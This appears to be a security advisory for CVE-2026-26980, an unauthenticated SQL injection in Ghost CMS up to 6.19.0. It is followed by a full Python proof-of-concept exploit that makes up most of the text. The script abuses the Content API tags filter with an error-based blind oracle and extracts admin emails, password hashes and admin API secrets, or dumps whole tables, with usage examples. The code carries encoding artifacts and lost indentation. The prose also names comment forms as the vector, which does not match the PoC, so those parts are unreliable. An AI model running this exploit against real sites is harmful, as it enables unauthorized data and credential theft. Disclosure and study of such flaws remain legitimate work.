Overview
The Ghost CMS version 6.19.0 has been identified with a critical SQL Injection (SQLi) vulnerability, cataloged under CVE-2026-26980. This flaw allows attackers to manipulate SQL queries by injecting malicious code into input fields, potentially leading to unauthorized access to sensitive data within the database.
Technical Details
The vulnerability arises from improper validation of user inputs in the Ghost CMS. When users interact with certain components, such as comment forms or user authentication systems, the application does not adequately sanitize the input. An attacker can exploit this flaw by submitting crafted SQL statements that manipulate the database’s query execution, allowing for actions such as data retrieval, modification, or even complete database compromise.
For instance, an attacker might exploit this vulnerability by entering a specially crafted SQL payload into a comment field, which could result in the execution of arbitrary SQL commands. This could lead to the disclosure of user credentials or other sensitive information stored in the database, significantly elevating the risk of data breaches.
Impact
The potential consequences of exploiting CVE-2026-26980 are severe. Organizations using Ghost CMS could face data theft, unauthorized access to user accounts, and significant reputational damage. Additionally, such vulnerabilities could lead to compliance violations with data protection regulations, resulting in legal repercussions and financial penalties.
Mitigation
To protect against this SQL Injection vulnerability, it is essential for organizations to update their Ghost CMS to the latest version immediately. Regularly applying security patches and updates will help mitigate known vulnerabilities. Furthermore, implementing Web Application Firewalls (WAF) can provide an additional layer of security by filtering and monitoring HTTP requests for malicious activity.
Additionally, security professionals should conduct regular security assessments, including penetration testing, to identify potential vulnerabilities in their applications. Employing parameterized queries and prepared statements in database interactions can also significantly reduce the risk of SQL injection attacks by ensuring that user inputs are treated as data, not executable code.
Proof of Concept (PoC)
# Exploit Title: Ghost CMS 6.19.0 - SQLi
# Date: 2026-03-30
# Exploit Author: Maksim Rogov
# Exploit Licence: GPL-3.0
# Software Link: https://ghost.org/
# Version: Ghost >=3D 3.24.0, <=3D 6.19.0
# Tested on: Ghost 6.16.1
# CVE : CVE-2026-26980
#!/usr/bin/env python3
import requests
import re
import sys
import argparse
import textwrap
import csv
from typing import Optional
from concurrent.futures import ThreadPoolExecutor
from urllib.parse import urljoin, urlparse
CHARSET =3D "".join(sorted(set("$./0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZ_ab=
cdefghijklmnopqrstuvwxyz@!#%^&*()+-=3D")))
ERROR_INDICATOR =3D "InternalServerError"=20
DEFAULT_THREADS =3D 15
def to_char_hex(s: str):
return "||".join([f"char({ord(c)})" for c in s])
class GhostExploit:
def __init__(self, target_url: str, threads: int =3D DEFAULT_THREADS, d=
bms: str =3D "sqlite", output: str =3D None, user_cols: str =3D None, verif=
y: bool =3D True, manual_key: str =3D None, manual_path: str =3D None):
self.target =3D target_url.rstrip('/')
self.threads =3D threads
self.dbms =3D dbms.lower()
self.output =3D output
self.user_cols =3D [c.strip() for c in user_cols.split(',')] if use=
r_cols else None
self.session =3D requests.Session()
self.session.verify =3D verify
self.manual_key =3D manual_key
self.manual_path =3D manual_path
if not verify:
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarn=
ing)
self.api_key, self.endpoint, self.tag_slug, self.tag_id, self.url_t=
emplate =3D "", "", "", "", ""
def discover(self) -> bool:
try:
if self.manual_key and self.manual_path:
self.api_key =3D self.manual_key
self.endpoint =3D urljoin(self.target, self.manual_path)
if not self.endpoint.endswith('/'): self.endpoint +=3D '/'
else:
r =3D self.session.get(self.target, timeout=3D10)
self.api_key =3D re.search(r'data-key=3D"([a-f0-9]+)"', r.t=
ext).group(1)
api_raw =3D re.search(r'data-api=3D"([^"]+)"', r.text).grou=
p(1)
path =3D urlparse(api_raw).path
self.endpoint =3D urljoin(self.target, path)
if not self.endpoint.endswith('/'): self.endpoint +=3D '/'
r_tags =3D self.session.get(f"{self.endpoint}tags/?key=3D{self.=
api_key}", timeout=3D10).json()
tag =3D r_tags['tags'][0]
self.tag_slug, self.tag_id =3D tag['slug'], tag['id']
self.url_template =3D f"{self.endpoint}tags/?key=3D{self.api_ke=
y}&filter=3Dslug:['*',{self.tag_slug}]&limit=3Dall"
return True
except:=20
return False
def check(self, cond: str) -> bool:
if self.dbms =3D=3D "mysql":
err_payload =3D "(SELECT exp(710))"
else:
err_payload =3D "(SELECT abs(-9223372036854775808))"
payload =3D f" OR ({cond}) THEN {err_payload} WHEN slug=3D"
try:
r =3D self.session.get(self.url_template.replace("*", payload, =
1), timeout=3D7)
return "badrequesterror" in r.text.lower() or ERROR_INDICATOR.l=
ower() in r.text.lower()
except: return False
def get_len(self, query: str) -> int:
length =3D 0
for bit in [64, 32, 16, 8, 4, 2, 1]:
if self.check(f"LENGTH(({query}))>=3D{length + bit}"): length +=
=3D bit
return length
def get_char(self, query: str, pos: int) -> str:
low, high =3D 0, len(CHARSET) - 1
while low < high:
mid =3D (low + high) // 2
char_code =3D ord(CHARSET[mid + 1])
=20
if self.dbms =3D=3D "mysql":
cond =3D f"ASCII(SUBSTR(({query}) FROM {pos} FOR 1))>=3D{ch=
ar_code}"
else:
prefix =3D "||".join(["char(63)"] * (pos - 1))
c_range =3D f"char(91)||char({char_code})||char(45)||char({=
ord(CHARSET[-1])})||char(93)"
cond =3D f"({query}) GLOB {prefix}||{c_range}||char(42)" if=
prefix else f"({query}) GLOB {c_range}||char(42)"
if self.check(cond): low =3D mid + 1
else: high =3D mid
return CHARSET[low]
def extract(self, query: str, label: str, force_len: int =3D None) -> s=
tr:
length =3D force_len if force_len is not None else self.get_len(que=
ry)
if length <=3D 0: return ""
=20
chars =3D [""] * length
with ThreadPoolExecutor(max_workers=3Dself.threads) as ex:
futures =3D {ex.submit(self.get_char, query, i+1): i for i in r=
ange(length)}
for f in futures:
chars[futures[f]] =3D f.result()
sys.stdout.write(f"r {label} ({length} chars): {''.join(c=
if c else '.' for c in chars)}")
sys.stdout.flush()
res =3D "".join(chars)
sys.stdout.write(f"r {label} ({length} chars): {res}n")
return res
def print_table(self, columns, rows):
if not rows: return
widths =3D {col: len(col) for col in columns}
for row in rows:
for col in columns:
widths[col] =3D max(widths[col], len(str(row.get(col, "")))=
)
sep =3D "+" + "+".join(["-" * (widths[col] + 2) for col in columns]=
) + "+"
head =3D "|" + "|".join([f" {col.ljust(widths[col])} " for col in c=
olumns]) + "|"
=20
print("n" + sep)
print(head)
print(sep)
for row in rows:
line =3D "|" + "|".join([f" {str(row.get(col, '')).ljust(widths=
[col])} " for col in columns]) + "|"
print(line)
print(sep + "n")
def dump_table(self, table_name: str):
print(f"n[*] Dumping table: {table_name}")
cast_type =3D "CHAR" if self.dbms =3D=3D "mysql" else "TEXT"
=20
count_str =3D self.extract(f"SELECT CAST(COUNT(*) AS {cast_type}) F=
ROM {table_name}", "Total records")
count =3D int(count_str) if count_str.isdigit() else 0
if count =3D=3D 0:=20
print("[!] No records found or table doesn't exist.")
return
if self.user_cols:
columns =3D self.user_cols
print(f"[*] Using user-defined columns: {', '.join(columns)}")
elif self.dbms =3D=3D "sqlite":
t_name_char =3D to_char_hex(table_name)
schema_query =3D f"SELECT sql FROM sqlite_master WHERE name=3D{=
t_name_char}"
cols_raw =3D self.extract(schema_query, "Schema")
columns =3D re.findall(r'([a-zA-Z_]+)s+(?:TEXT|VARCHAR|INT|DAT=
ETIME|TIMESTAMP|BOOLEAN)', cols_raw, re.I)
else:
columns =3D ['id', 'email', 'name', 'password', 'status']
if not columns: columns =3D ['id', 'email']
=20
all_rows =3D []
for i in range(count):
print(f"n --- Record #{i+1} ---")
current_row =3D {}
for col in columns:
val =3D self.extract(f"SELECT {col} FROM {table_name} LIMIT=
1 OFFSET {i}", col)
current_row[col] =3D val
all_rows.append(current_row)
=20
self.print_table(columns, all_rows)
if self.output:
try:
with open(self.output, 'w', newline=3D'', encoding=3D'utf-8=
') as f:
writer =3D csv.DictWriter(f, fieldnames=3Dcolumns)
writer.writeheader()
writer.writerows(all_rows)
print(f"[+] Exported to {self.output}")
except Exception as e:
print(f"[!] Export error: {e}")
def run(self, table_to_dump: Optional[str] =3D None):
if not self.discover():
print("[!] Discovery failed.")
return
=20
print("=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D")
print(f"Ghost CMS - Unauthenticated SQLi Data Extraction")
print(f"Target: {self.target}")
print(f"API Key: {self.api_key}")
print(f"Tag ID: {self.tag_id}")
print("Endpoint: Content API (public, no auth)")
print("=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D")
print("n[*] Calibrating oracle... OK")
if not self.check("1=3D1"):=20
print("[!] Oracle calibration failed.")
return
if table_to_dump:
self.dump_table(table_to_dump)
else:
print("n[*] Phase 1: Recon (fast checks)")
l_email =3D self.get_len("SELECT email FROM users LIMIT 1")
print(f" length(users.email) =3D {l_email}")
l_pass =3D self.get_len("SELECT password FROM users LIMIT 1")
print(f" length(users.password) =3D {l_pass}")
l_name =3D self.get_len("SELECT name FROM users LIMIT 1")
print(f" length(users.name) =3D {l_name}")
l_status =3D self.get_len("SELECT status FROM users LIMIT 1")
print(f" length(users.status) =3D {l_status}")
for t in ["users", "members", "api_keys", "sessions"]:
cast_t =3D "CHAR" if self.dbms =3D=3D "mysql" else "TEXT"
self.extract(f"SELECT CAST(COUNT(*) AS {cast_t}) FROM {t}",=
f"count({t})")
print("n[*] Phase 2: Extracting values")
self.extract("SELECT email FROM users LIMIT 1", "Admin email", =
l_email)
self.extract("SELECT name FROM users LIMIT 1", "Admin name", l_=
name)
=20
adm_type =3D to_char_hex("admin")
self.extract(f"SELECT id FROM api_keys WHERE type=3D{adm_type} =
LIMIT 1", "Admin API key ID")
self.extract(f"SELECT secret FROM api_keys WHERE type=3D{adm_ty=
pe} LIMIT 1", "Admin API secret")
self.extract("SELECT password FROM users LIMIT 1", "Password ha=
sh", l_pass)
if __name__ =3D=3D "__main__":
parser =3D argparse.ArgumentParser(
formatter_class=3Dargparse.RawDescriptionHelpFormatter,=20
epilog=3Dtextwrap.dedent("""
Usage Examples:
python3 main.py -u http://target.com
(Quickly extract Admin email and Password Hash from a default S=
QLite setup)
python3 main.py -u http://target.com -d mysql -T users -C email=
,password -o ./result.csv
(Dump of 'email' and 'password' columns from the 'users' table)
python3 main.py -u http://target.com -d mysql -T api_keys -t 25
(Dump all site api keys from 'api_keys' table using 25 threads)
Note: Most production Ghost instances use MySQL. Local/Small bl=
ogs use SQLite.
""")
)
parser.add_argument("-u", "--url", required=3DTrue, metavar=3D"URL", he=
lp=3D"The base URL of the target Ghost")
parser.add_argument("--api-key", metavar=3D"KEY", help=3D"Ghost Content=
API Key (skips auto-discovery)")
parser.add_argument("-p", "--api-path", metavar=3D"PATH", help=3D"Conte=
nt API path (e.g., /ghost/api/content/)")
parser.add_argument("-k", "--insecure", action=3D"store_true", help=3D"=
Allow insecure server connections when using SSL (ignore SSL certificate er=
rors)")
parser.add_argument("-t", "--threads", type=3Dint, default=3DDEFAULT_TH=
READS, metavar=3D"N", help=3Df"Number of concurrent threads for faster extr=
action (default: {DEFAULT_THREADS})")
parser.add_argument("-d", "--dbms", default=3D"sqlite", choices=3D["sql=
ite", "mysql"], help=3D"The database engine Ghost is running on. Default: s=
qlite")
parser.add_argument("-T", "--table", metavar=3D"NAME", help=3D"Specific=
database table to dump (e.g., users, api_keys, members, posts)")
parser.add_argument("-C", "--columns", metavar=3D"COL1,COL2", help=3D"S=
pecific columns to extract (comma separated)")
parser.add_argument("-o", "--output", metavar=3D"FILE", help=3D"Save re=
sults to CSV file")
args =3D parser.parse_args()
=20
try:
exploit =3D GhostExploit(args.url, args.threads, args.dbms, args.ou=
tput, args.columns, not args.insecure, args.api_key, args.api_path)
exploit.run(args.table)
except KeyboardInterrupt:
print("n[!] Aborted")